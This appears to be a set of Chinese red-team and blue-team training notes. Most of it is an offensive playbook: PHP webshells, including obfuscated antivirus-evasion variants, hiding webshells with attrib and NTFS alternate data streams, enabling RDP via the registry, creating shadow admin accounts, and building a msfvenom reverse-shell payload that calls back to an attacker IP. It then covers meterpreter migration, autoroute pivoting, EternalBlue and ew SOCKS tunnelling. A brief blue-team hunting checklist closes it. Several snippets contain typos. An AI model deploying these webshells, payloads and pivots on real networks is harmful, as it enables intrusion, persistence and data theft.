1-head请求
nmap探测命令:
nmap -p 1-65535 -T4 -A -v -Pn ip
在蓝队防守前期要关注扫描行为,HEAD
请求头只有两行,响应头较短,无请求体和响应体,速度快,多用于探测页面是否存在,例子:
HEAD /edit/db/ HTTP/1.1
Host:220.181.38.150
2-命令开远控
在红队队成功连接webshell后,上传mimikatz,通过mimikatz
获取当前主机用户名密码,通过以下cmd命令修改注册表远程开启目标windows的3389端口,实现远程连接。
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" " Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
3-webshell免杀
无效免杀
一、直接执行
使用php函数直接运行命令,常见的函数有(eval、system、assert)等,可以直接调用命令执行,可以连接,无法免杀。
<?php
@eval(&POST_["x"]);
?>
二、动态函数执行
把一个函数名当成一个字符串传递给一个变量,在使用变量当作函数去执行,可以连接,无法免杀。
<?php
$e='system';
$e('ipconfig');
?>
<?php
$e='sy'.'st'.'em';
$e('ipconfig');
?>
<?php
$e='assert';
$e($_POST["x"]);
?>
三、文件包含执行
有两个php文件,我们把执行命令的放在b文件中,使用a文件去包含,达到执行的效果,可以连接,无法免杀。
#b文件
<?php
eval($_POST["x"]);
?>
#a文件
<?php
include b.php;
?>
四、回调函数
将想要执行命令的函数赋给一个变量,再用一个可以调用函数执行的函数把变量解析成函数,$e变量使用GET方法不行,要是有REQUEST参数,可以连接,无法免杀。
<?php
$e=$_REQUEST['e'];
$arr=array($_POST['x'],);
array_filter($arr,$e);
?>
五、变量掺杂
字符串中掺杂了变量,在使用变量去拼接字符串,达到命令执行的效果,可以连接,无法免杀。
<?php
$a='p';
eval("{$a}hpinfo();");
?>
有效免杀
No.1
<?php
function downloadfile($url,$x){
$ary=parse_url($url);
$file=basename($ary['path']);
$ext=explode('.',$file);
//assert
$exec1=substr($ext[0],3,1);
$exec2=substr($ext[0],5,1);
$exec3=substr($ext[0],5,1);
$exec4=substr($ext[0],4,1);
$exec5=substr($ext[0],7,2);
}
$a=$_POST['x'];
$s=downloadfile('http://www.baidu.com/asdaesfrtafga.txt',$a);
$b=$s[0];
$c=$s[1];
arry_map($b,arry($c));
?>
No.2
<?php
$white="{${eval($_POST['x'])}}";
?>
No.3
rot13解密+拼接
<?php
class One{
function xiaoma($x){
$c=str_rot13('n!ff!re!nffreg');#a!ss!er!assert
$str=explode('!', $c)[3];
$str($x);
}
}
$test=new One();
$test->xiaoma($_REQUEST['x']);
?>
4-隐藏webshell
图形化方法
- 右键php文件属性选择隐藏
命令方法
- attrib隐藏
使用命令将文件隐藏,并且设置为系统文件,如果不关闭隐藏系统文件的选项,依旧无法查看文件,可以使用cmd命令dir /a
查看。
attrib +s +h 文件名
- ADS隐藏
使用命令创建index.php文件,记事本双击打开index.php,无内容。使用cmd命令dir /r
来查看当前目录所有文件,会发现存在index.php:hidden.jpg:$DATA文件。使用命令打开才能看到内容。del index.php
删除文件
echo ^<?php @eval($_POST['chopper']);?^> > index.php:hidden.jpg
notepad index.php:hidden.jpg:$DATA
5-横向渗透
红队手法
c端探测
先查看存活主机,然后扫描存活主机,检查是否存在3389RDP、21FTP等端口。最后对应破解,找到有两张网卡的跳板机。
root@kali:~# nmap -sn 220.181.38.0/24
横向渗透
3389爆破成功,远程连接后:
- 在cmd中输入命令,创建影子用户,net uesr无法查看,可以复制注册表中管理员的权限到创建的影子用户,实现克隆账号
net hacker$ passwd /add
- 回到kail,接下来控制跳板机,在
/var/www/html
下生成exe木马,此木马没有免杀功能,开启apache服务
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp lhost=123.123.123.123 lport=5555 -f exe -o 1.exe
root@kali:~# /etc/init.d/apache2 start
- 远程连接跳板机,浏览器访问
123.123.123.123/1.exe
下载木马到本地,然后kail使用msf远控
root@kali:~# msfconsole
>use exploit/multi/handler
>set payload windows/meterpreter/reverse_tcp
>set lhost 123.123.123.123
>set lport 5555
>run
进程迁移
- 回到windows下运行木马,kail提权,查看当前运行程序的pid,进程迁移,ps查看迁移到哪个进程了。
>getsystem
>getpid
>run post/windows/manage/migrate
>ps
msf制作跳板
- 接下来要制作跳板对核心管理员电脑攻击,首先查看跳板机的两块网卡ip段,然后制作跳板,最后查看是否成功
>run get_local_subnets
>run autoroute -s 内网ip/24
>run autoroute -p
>background
- 利用永恒之蓝攻击核心机
>use exploit/windows/smb/ms17_010_eternalblue
>set rhost 管理员电脑ip
>run
ew制作跳板
- 通过ew搭建隧道攻击核心机,蚁剑连接后上传ew_for_win.exe(注意上传的版本是否正确),创建正向代理,使跳板机开放6666端口
ew_for_win.exe -s ssocksd -l 6666
- 回到攻击机,使用代理工具proxifier连接,配置文件->代理服务器->添加跳板机ip+端口,配置文件->代理规则->动作proxy SOCKS5 跳板机ip,然后就可以访问进入网了
- 接下来继续上传木马,蚁剑连接,上传ew,使用proxifier,配置文件->代理服务器->在下面添加代理链,配置文件->代理规则->动作chain 123
蓝队手法
敏感目录排查
win+r输入下面的位置,最后一个是预读取文件,可以通过时间排查目录下的可疑隐藏文件
- %temp%
- %appdata%
- %localappdata%
- recent
- %prefetch%
隐藏账号
win+r输入lusrmgr.msc
命令打开本地用户和组,找到用户右键删除
克隆账号
win+r打开regedit注册表,找到HKEY_LOCAL_MACHINE\SAM\SAM
右键添加权限,刷新后在SAM/Domains/Users/Names
查看所有用户,也可以使用命令查看
wmic useraccount get name
启动项
- win+r输入
gpedit.msc
打开本地组策略,找到Windows设置->脚本->双击启动查看 - win+r输入
msinfo32
打开系统信息,找到软件环境->启动程序查看 - win+r输入
msconfig
打开系统配置,找到启动查看
计划任务
- 控制面板->系统和安全->计划任务
- 输入cmd命令
schtasks
查看
进程排查
- 输入cmd命令
netstat -ano
查看外联历史,如果没有进程迁移,就可以找到对应木马pid